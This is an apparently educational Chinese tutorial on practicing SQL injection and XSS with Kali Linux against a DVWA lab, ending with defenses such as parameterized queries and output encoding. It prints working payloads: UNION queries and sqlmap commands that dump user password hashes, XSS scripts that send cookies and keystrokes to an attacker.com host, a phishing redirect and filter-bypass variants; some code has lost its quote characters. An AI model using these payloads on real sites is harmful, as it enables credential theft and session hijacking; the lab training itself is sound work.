Kali Linux实战:SQL注入与XSS漏洞攻防演练

发布时间:2026/6/30 14:23:50

Kali Linux实战:SQL注入与XSS漏洞攻防演练 1. 项目概述从靶场到实战的Web安全演练如果你刚接触网络安全或者对Kali Linux和Web渗透测试充满好奇那么“SQL注入与XSS漏洞攻防”这个主题几乎就是为你量身定制的入门实战手册。这不仅仅是两个技术名词的堆砌它代表了一套完整的、从侦察到利用再到防御的实战思维闭环。我干了十多年安全带过不少新人发现很多人卡在理论到实践的鸿沟上——工具会用命令会敲但一遇到稍微变化的环境就懵了。这个项目恰恰就是为了填平这道鸿沟。简单来说这个项目就是利用Kali Linux这个“安全工程师的瑞士军刀”在一个可控的、安全的实验环境我们称之为“靶场”里亲手去挖掘、利用并最终理解如何防御SQL注入和跨站脚本这两种最经典、也最危险的Web漏洞。SQL注入本质上是让数据库“说”出了它不该说的话而XSS则是让用户的浏览器“执行”了攻击者精心构造的恶意脚本。它们一个在服务器端“偷数据”一个在客户端“搞破坏”合起来几乎能覆盖Web应用安全风险的半壁江山。为什么选择Kali Linux因为它集成了数百款安全工具从信息搜集、漏洞扫描到渗透利用开箱即用免去了我们四处寻找、配置工具的麻烦。而为什么是SQL注入和XSS因为它们是Web安全的“元问题”理解了它们你就能触类旁通地理解参数过滤、输入验证、输出编码等一系列核心安全原则。这个项目适合所有对Web安全感兴趣的朋友无论你是想转行安全的学生、希望提升技能的后端开发还是想了解攻击手段以便更好防御的运维人员。接下来我会带你一步步拆解这个过程中的每一个关键环节分享那些只有踩过坑才知道的细节。2. 环境搭建与靶场部署打造安全的实验沙盒在真正动手之前我们必须建立一个绝对安全、隔离的实验环境。记住第一条铁律永远不要在未经授权的真实网站上进行任何渗透测试行为那是违法的。我们的所有操作都必须在自己完全掌控的虚拟机或容器内进行。2.1 Kali Linux 安装与基础配置Kali Linux的安装方式多样对于新手我强烈推荐使用虚拟机方案。VMware Workstation Player个人免费或VirtualBox都是极佳的选择。从Kali官网下载最新的ISO镜像文件注意核对SHA256校验和确保文件完整未被篡改。在虚拟机中安装时有几个细节决定了你后续使用的顺畅度磁盘空间默认的20GB很快就会被工具和日志塞满。建议至少分配50GB如果你打算安装更多工具或保存大量扫描结果80GB以上更稳妥。内存Kali本身运行不需要太多内存但当你同时运行多个重型工具如Burp Suite、多个终端、数据库服务时4GB是底线8GB才能保证流畅。我通常给我的测试机分配6GB。网络适配器务必选择“NAT模式”。这个模式让虚拟机可以访问外网方便更新和下载工具但外部网络无法直接访问虚拟机提供了一个基础的网络隔离。绝对不要在实验初期使用“桥接模式”这可能会让你的测试机暴露在局域网中产生意外风险。快照功能这是虚拟机最重要的“后悔药”。在安装完系统、配置好基础环境后立即创建一个干净的“初始快照”。在后续进行可能破坏系统的操作比如某些激进的漏洞利用前再创建一个“实验前快照”。一旦玩脱了可以瞬间回滚节省大量重装时间。系统安装完成后第一件事不是急着炫技而是执行基础更新sudo apt update sudo apt full-upgrade -y更新完成后我习惯再安装两个必备的“后勤”工具git用于从GitHub克隆最新的POC或工具和tmux终端复用器可以让你在一个窗口管理多个会话特别适合长时间扫描任务。注意Kali Linux默认用户是kali密码也是kali。首次登录后系统会强制你修改密码。请务必设置一个强密码即使是在本地虚拟机中。2.2 靶场环境的选择与部署没有靶子的射击训练是毫无意义的。我们需要一个故意存在漏洞的Web应用来练手。DVWA和bWAPP是两大经典选择它们难度分级清晰非常适合学习。这里以DVWA为例。最省事的方法不是去官网下载源码手动配置LAMP环境而是使用Docker。Docker能秒级部署一个包含所有依赖的、隔离的DVWA实例。# 拉取DVWA的Docker镜像 docker pull vulnerables/web-dvwa # 运行DVWA容器将容器的80端口映射到宿主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行上述命令后打开浏览器访问http://你的Kali-IP:8080就能看到DVWA的登录页面。默认账号是admin密码是password。部署完成后一个关键步骤是修改DVWA的安全等级。登录后在左侧找到“DVWA Security”选项将安全级别从默认的“Impossible”调为“Low”。这个设置直接影响着漏洞利用的难度。“Low”级别几乎没有任何防护能让我们专注于理解漏洞原理本身而不是绕过复杂的过滤机制。2.3 关键辅助工具准备工欲善其事必先利其器。除了Kali自带的庞大工具库我们还需要明确几个核心工具的角色浏览器与代理Firefox是首选因为它有强大的安全测试插件生态。必须安装的两大插件是FoxyProxy用于快速切换代理设置将浏览器流量导向Burp Suite。HackBar一个轻量化的测试工具可以快速构造和发送HTTP请求常用于手工测试SQL注入和XSS。Burp Suite Community Edition这是Web渗透测试的“大脑”。它作为中间人代理拦截、查看、修改和重放浏览器与服务器之间的所有HTTP/HTTPS流量。启动Burp后需要在浏览器中配置代理通常为127.0.0.1:8080并安装Burp签发的CA证书用于解密HTTPS流量才能开始拦截。终端多路复用如前所述tmux或screen至关重要。你可以在一个tmux会话中运行sqlmap进行长时间扫描在另一个面板中手动测试Payload在第三个面板里监控网络日志互不干扰。环境就绪后再次确认你的网络拓扑Kali虚拟机攻击机 - 宿主机网络 - DVWA Docker容器靶机。确保三者能互相通信。至此一个安全、纯净、功能完备的渗透测试沙盒就搭建完成了。3. SQL注入漏洞深度解析与手工利用SQL注入之所以常年位居OWASP Top 10前列是因为它直接威胁到应用的核心——数据库。它的原理简单得可怕攻击者通过构造特殊的输入欺骗后端程序将恶意SQL语句拼接到原始查询中并交由数据库执行。3.1 注入原理与类型识别一切始于用户输入。假设一个登录页面的后端代码是这样的以PHP为例$query SELECT * FROM users WHERE username . $_POST[username] . AND password . $_POST[password] . ;如果用户在用户名框输入admin --那么拼接后的SQL语句就变成了SELECT * FROM users WHERE username admin -- AND password ...--在SQL中是注释符它使得后面的AND password...条件被注释掉。这意味着攻击者只需要知道一个有效的用户名如admin就能在不知道密码的情况下登录系统。这就是一个最简单的基于错误的布尔型注入。在实际测试中我们首先需要通过输入一些特殊字符如单引号、双引号、括号)等来“探路”。观察服务器的反应返回数据库错误信息如“You have an error in your SQL syntax...”这通常意味着存在注入点且错误信息可能泄露数据库类型MySQL, PostgreSQL等。这是“报错注入”的基础。页面显示内容发生变化如原本显示文章详情输入后变成空白页或错误页这可能存在注入需要进一步测试。页面无任何变化不一定安全可能是盲注。需要测试“真/假”条件。在DVWA的Low级别下我们可以在“SQL Injection”页面直接进行测试。输入1很可能看到详细的MySQL错误信息这立刻证实了漏洞存在。3.2 手工注入实战从信息搜集到数据窃取确认注入点后手工注入遵循一个清晰的流程目的是逐步“摸清”数据库的结构并提取数据。第一步判断字段数使用ORDER BY子句。ORDER BY 1表示按第一列排序如果页面正常说明查询结果至少有一列。我们不断增加数字ORDER BY 2,ORDER BY 3...直到页面报错。假设ORDER BY 3正常而ORDER BY 4报错那么原查询的字段数就是3。在DVWA中你可以输入1 ORDER BY 3 --来测试。第二步确定回显点字段数已知后我们需要知道哪几个字段的内容会显示在页面上。使用UNION SELECT语句。UNION用于合并两个查询的结果但要求两个查询的列数一致。构造Payload1 UNION SELECT 1,2,3 --如果页面原本显示ID和名字的地方现在变成了数字2和3那么就说明第二个和第三个字段是回显点。我们可以把这两个数字替换成我们想查询的函数或数据。第三步提取数据库信息现在我们可以通过回显点让数据库“告诉”我们它的信息。将Payload替换为1 UNION SELECT 1, database(), version() --database()函数返回当前数据库名version()返回数据库版本。这样页面上就会显示数据库名如dvwa和MySQL版本号。第四步枚举表名和列名在MySQL中有一个名为information_schema的系统数据库它存储了所有其他数据库的元数据如表名、列名。查表名1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema dvwa --这会列出dvwa数据库中的所有表。你可能会看到users,guestbook等。查列名假设我们对users表感兴趣。1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema dvwa AND table_name users --这会列出users表的所有列如user_id,first_name,last_name,user,password,avatar等。第五步提取核心数据最后直接查询目标数据1 UNION SELECT 1, user, password FROM users --在DVWA中你会看到用户名和经过MD5哈希的密码。虽然密码是哈希值但对于弱密码可以通过彩虹表或在线破解网站如crackstation.net进行破解尝试。实操心得手工注入的过程本质上是与数据库进行“问答”。你的每一个Payload都是一个精心设计的问题。保持耐心一步步推进。在UNION注入时务必确保前后查询的列数、数据类型大致匹配否则会失败。对于不回显的“盲注”则需要通过页面行为的细微差异如响应时间、页面某个单词的存在与否来推断查询结果的真假过程更为繁琐。4. 利用Sqlmap进行自动化注入测试手工注入能让你深刻理解原理但在面对复杂过滤或需要快速评估大量目标时自动化工具不可或缺。Sqlmap是这方面的王者它是一个开源的自动化SQL注入与数据库接管工具。4.1 Sqlmap基础扫描与常用参数针对DVWA的SQL注入点一个最基本的扫描命令如下sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSID你的会话ID --batch-u指定目标URL。注意DVWA需要登录后的会话才能访问漏洞页面。--cookie这是关键因为DVWA的漏洞页面受登录状态保护你必须提供有效的会话Cookie。这个值可以从浏览器开发者工具的“网络”标签页或“存储”标签页中复制。--batch以非交互模式运行所有默认选择都选“是”让工具自动进行。运行后Sqlmap会首先检测注入点询问你是否要跳过其他类型数据库的测试默认选是然后一路自动进行。它会尝试各种注入技术布尔盲注、时间盲注、报错注入、联合查询等并最终告诉你注入点参数、数据库类型、后端DBMS版本等信息。4.2 数据提取与高级功能一旦确认注入点就可以让Sqlmap提取数据。这是一个分层的操作获取所有数据库名sqlmap -u [URL] --cookie[COOKIE] --dbs获取指定数据库的所有表名例如dvwasqlmap -u [URL] --cookie[COOKIE] -D dvwa --tables获取指定表的所有列名例如users表sqlmap -u [URL] --cookie[COOKIE] -D dvwa -T users --columns提取指定列的数据例如user和password列sqlmap -u [URL] --cookie[COOKIE] -D dvwa -T users -C user,password --dump--dump命令会一次性把数据查询并保存到本地。Sqlmap检测到密码哈希时甚至会询问你是否要调用内置的破解模块进行破解。高级参数用于应对复杂场景--level和--risk提高测试的强度和风险等级。Level越高测试的Payload越多、越全面。Risk等级提高最高为3会使用一些可能造成数据更新或删除的危险Payload在测试生产环境或重要靶场时务必谨慎。--tamper这是Sqlmap的“魔术师”参数。很多Web应用有WAF或简单的输入过滤。--tamper可以指定一个脚本对Payload进行混淆、编码以绕过过滤。例如--tamperspace2comment会将空格替换为/**/。--proxy通过代理如Burp Suite发送请求方便你观察和调试Sqlmap发出的每一个Payload。--sql-shell在成功注入后尝试获取一个交互式的SQL shell可以直接执行SQL命令功能极其强大。注意事项虽然Sqlmap很强大但切忌无脑使用。在实战或CTF比赛中过度依赖自动化工具可能会触发警报如WAF或错过一些需要精巧手法的注入点。我的习惯是先用简单的手工测试确认漏洞存在和基本类型再用Sqlmap进行深度利用和数据提取两者结合效率最高。另外务必在授权范围内使用并避免使用--risk 3等高风险参数除非你完全清楚后果并已做好数据备份。5. XSS漏洞原理与攻击向量剖析如果说SQL注入是“后端之痛”那么XSS就是“前端之殇”。跨站脚本攻击的核心在于攻击者能够将恶意脚本代码注入到网页中并被其他用户的浏览器执行。根据脚本的存储和触发位置主要分为三类反射型、存储型和DOM型。5.1 反射型XSS一次性的诱饵反射型XSS是最常见的类型。恶意脚本作为HTTP请求的一部分通常藏在URL参数里发送给服务器服务器未经处理就直接将其“反射”回响应页面中浏览器执行了这段脚本。一个典型的例子是搜索功能。假设一个网站的搜索结果是这么显示的p您搜索的关键词是?php echo $_GET[keyword]; ?/p如果攻击者构造一个URL发给受害者http://vulnerable-site.com/search.php?keywordscriptalert(XSS)/script当受害者点击这个链接服务器会返回包含scriptalert(XSS)/script的页面受害者的浏览器就会弹出一个警告框。当然真实的攻击远不止弹窗脚本可以盗取用户的Cookie如果Cookie未设置HttpOnly、劫持会话、重定向到钓鱼网站等。在DVWA的“Reflected XSS”模块Low级别你可以直接在输入框输入scriptalert(document.cookie)/script来测试。页面会弹窗显示你当前的会话Cookie。这证明了该处存在反射型XSS漏洞。5.2 存储型XSS持久化的毒药存储型XSS的危害更大。攻击者将恶意脚本提交到服务器如论坛帖子、用户评论、个人信息栏并被永久存储。之后任何访问该页面的用户其浏览器都会执行这段恶意脚本。DVWA的“Stored XSS”模块模拟了留言板功能。在Low级别下在“Name”或“Message”框中输入类似scriptalert(Stored XSS!)/script的代码并提交。之后每当任何人包括你自己浏览这个留言板页面时弹窗都会出现。这意味着攻击者可以一次性投毒长期影响所有用户。存储型XSS的利用场景更丰富。攻击者可以注入一个键盘记录脚本窃取所有访问者的登录凭证或者注入一个“挖矿”脚本消耗访问者的CPU资源更常见的是注入一个盗取Cookie的脚本将Cookie发送到攻击者控制的服务器。5.3 DOM型XSS客户端的陷阱DOM型XSS比较特殊它不涉及服务器端。漏洞存在于页面的JavaScript代码中。JavaScript通过document.location、document.URL、document.referrer等对象获取数据如URL片段#后面的部分并直接使用innerHTML或eval()等不安全的方式将其写入页面导致脚本执行。例如页面有如下JS代码var hash window.location.hash.substring(1); document.getElementById(output).innerHTML Welcome, hash;如果URL是http://site.com/page.html#img srcx onerroralert(1)那么hash变量的值就是img srcx onerroralert(1)它被直接写入innerHTMLonerror事件触发执行了alert(1)。DOM型XSS的测试和利用更依赖对前端代码的分析。你需要仔细审查页面引入的JS文件寻找那些从location、URL等来源获取数据并动态更新DOM的地方。6. XSS漏洞的实战利用与防御绕过理解了原理我们来看看如何实际利用XSS漏洞以及当网站有简单防护时如何尝试绕过。6.1 构造有效的XSS Payload弹窗alert()只是验证漏洞存在真正的攻击Payload更有针对性。以下是一些经典Payload盗取Cookiescriptnew Image().srchttp://attacker.com/steal.php?cookiedocument.cookie;/script这段脚本会创建一个隐藏的图片请求将用户的Cookie作为参数发送到攻击者的服务器attacker.com。攻击者只需要在steal.php中记录接收到的参数即可。重定向到钓鱼网站scriptwindow.location.hrefhttp://evil-phishing-site.com;/script瞬间将用户带到伪造的登录页面。键盘记录器概念示例script document.onkeypress function(e) { new Image().srchttp://attacker.com/log.php?keye.key; } /script记录用户的每一次按键并发送出去。在DVWA中你可以将这些Payload分别注入到反射型和存储型XSS的输入点观察效果。为了接收被盗的Cookie你需要在Kali上临时启动一个HTTP服务来监听# 使用Python3快速启动一个HTTP服务器在8081端口 python3 -m http.server 8081然后将Payload中的attacker.com替换为你的Kali IP和端口如http://192.168.1.100:8081/。当受害者触发XSS后你就能在终端看到接收到的请求日志。6.2 绕过常见的过滤机制很多网站会尝试过滤script、onerror等关键词。这时就需要一些技巧来绕过。大小写混淆有些过滤器是大小写敏感的。ScRiPtalert(1)/ScRiPt使用HTML实体编码浏览器在解析innerHTML时会解码实体。img srcx onerroralert(1) !-- 可以尝试编码 -- img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;利用事件处理器除了onerror还有数十种其他事件可用。img srcx onmouseoveralert(1) !-- 鼠标悬停触发 -- body onloadalert(1) !-- 页面加载触发 -- svg onloadalert(1) !-- SVG标签 --不使用script标签利用其他标签的属性执行JS。a hrefjavascript:alert(1)点击/a iframe srcjavascript:alert(1)拆分与拼接如果过滤了完整的alert可以尝试拆分。scripteval(alert(1))/script在DVWA中将安全级别调到“Medium”或“High”你会发现它对输入做了过滤。例如Medium级别可能用str_replace函数简单替换掉script。这时你可以尝试使用scrscriptipt过滤器移除中间的script后两边的字符又拼成了script或者转而使用img、svg等标签配合事件处理器。实操心得XSS的绕过是一场猫鼠游戏核心在于理解过滤器的逻辑。最好的方法是“黑盒”与“白盒”结合。黑盒就是不断尝试各种Payload观察响应如果有可能比如在CTF中或审计自己公司的代码直接看后端过滤的源代码白盒能让你瞬间找到绕过方法。记住没有绝对安全的过滤只有不断更新的攻防。7. 漏洞防御从根源上构建安全防线攻击是为了更好的防御。理解了攻击手法我们才能更有效地在开发中避免它们。7.1 SQL注入防御参数化查询是唯一正解防御SQL注入有且只有一个黄金法则使用参数化查询预编译语句。其他方法如转义、过滤黑名单都是不完整且容易出错的。为什么转义不行因为转义规则因数据库而异MySQL用\Oracle用且上下文不同字符串、数字、标识符转义方式也不同极易遗漏。参数化查询将SQL语句的结构命令与数据参数完全分离。数据库引擎先编译SQL结构再将参数作为纯数据处理从根本上杜绝了数据被解释为代码的可能。以PHP的PDO为例// 错误做法拼接字符串 $stmt $pdo-query(SELECT * FROM users WHERE id . $_GET[id]); // 正确做法参数化查询 $stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $_GET[id]]);在Java、Python、C#等语言中都有对应的PreparedStatement或类似机制。对于所有用户输入只要它要进入SQL语句就必须使用参数化查询。次要防御措施辅助最小权限原则连接数据库的应用程序账号只应拥有完成其功能所需的最小权限如只有SELECT没有DROP、DELETE。输入验证在业务层面对输入进行严格的白名单验证如ID只能是数字但这不能替代参数化查询。错误信息处理生产环境应关闭详细的数据库错误回显使用自定义的错误页面避免泄露数据库结构信息。7.2 XSS防御上下文相关的输出编码XSS的防御核心是对任何来自不可信源的数据在输出到不同上下文时进行正确的编码或转义。输出到HTML正文使用HTML实体编码。将转为lt;将转为gt;将转为amp;将转为quot;将转为#x27;(或apos;) 在PHP中可以用htmlspecialchars()函数在Python Jinja2等模板引擎中默认会自动转义。输出到HTML属性同样使用HTML实体编码并且属性值一定要用引号括起来。!-- 错误 -- input value?php echo $input; ? !-- 正确 -- input value?php echo htmlspecialchars($input, ENT_QUOTES); ?ENT_QUOTES标志会同时编码单引号和双引号。输出到JavaScript代码中这非常危险应尽量避免。如果必须需使用JavaScript编码如\xXX形式的Unicode转义。// 危险 var userInput ?php echo $input; ?; // 稍好但并非绝对安全应优先考虑其他架构 var userInput ?php echo json_encode($input); ?;更好的做法是不将动态数据放在JS变量中而是通过HTML的># 在浏览器中右键点击请求 - 复制 - 复制为cURL (bash) # 将复制的内容保存到一个文件如 request.txt sqlmap -r request.txt --batch问题Sqlmap卡在某个测试阶段或者连接被重置。排查可能是触发了靶场的速率限制或简单的WAF。尝试添加延迟参数--delay1每次请求间隔1秒或使用随机化参数--randomize。技巧对于有防护的靶场尝试使用--tamper脚本。常用的有space2comment空格转注释、between用BETWEEN替换、randomcase随机大小写等。可以组合使用--tamperspace2comment,between。8.2 XSS弹窗不执行问题在DVWA中输入了scriptalert(1)/script但页面没有弹窗而是显示了代码原文。排查首先检查DVWA的安全级别确保是Low。然后查看页面源代码CtrlU看看你输入的Payload在HTML中是什么样子。如果被转义成了lt;scriptgt;...说明后端做了HTML编码。技巧尝试其他不需要script标签的Payload如img srcx onerroralert(1)。如果还是不行查看响应头是否有Content-Security-PolicyCSP可能会阻止内联脚本执行。问题存储型XSS提交后自己浏览能看到弹窗但换一个浏览器或隐身窗口就不行。排查这通常是因为你的Payload里包含了盗取Cookie的代码而新会话没有这个Cookie。或者某些靶场如DVWA的高级别可能会对存储的数据进行更严格的过滤或编码导致Payload被破坏。检查数据库里存储的内容是否完整。8.3 环境与网络问题问题Kali虚拟机无法访问宿主机上Docker运行的DVWA。排查确保Docker容器的端口正确映射到了宿主机-p 8080:80并且宿主机防火墙允许该端口。在Kali中尝试用curl http://宿主机IP:8080测试连通性。技巧最简单的办法是让Kali、宿主机、Docker容器处于同一个网段。可以将Kali虚拟机的网络模式改为“桥接”并设置静态IP或者使用Docker的host网络模式--network host但后者会失去一些隔离性。问题Burp Suite抓不到浏览器的HTTPS流量。排查确保浏览器代理设置正确指向Burp127.0.0.1:8080。最关键的一步是访问http://burp下载并安装Burp的CA证书到浏览器的受信任根证书颁发机构中。Firefox使用自己的证书库需要单独在Firefox的设置中导入证书。8.4 思维误区与提升建议不要只依赖工具Sqlmap和Burp Suite很强大但如果你不明白它们背后在做什么你永远只是个“脚本小子”。手工注入和手工测试XSS的过程是理解漏洞本质不可替代的环节。关注响应变化渗透测试中细微的差别往往是突破口。页面加载慢了几毫秒时间盲注、返回结果中某个单词消失了布尔盲注、错误信息措辞的轻微变化都可能是漏洞存在的信号。阅读代码如果条件允许如CTF题目提供源码、开源项目直接阅读源代码是最高效的漏洞挖掘方式。你可以清晰地看到参数是如何被处理、拼接、输出的。搭建自己的笔记库将每次测试成功的Payload、绕过的技巧、有趣的漏洞案例记录下来。日积月累这就是你个人的“武器库”。这个从搭建环境到手工利用再到自动化工具和最终防御的完整闭环不仅仅是掌握了两类漏洞的攻防更重要的是建立起一套主动发现、分析、利用和解决安全问题的思维模式。安全之路漫长保持好奇合法测试不断练习你会在每一次“攻”与“防”的较量中获得真正的成长。

相关新闻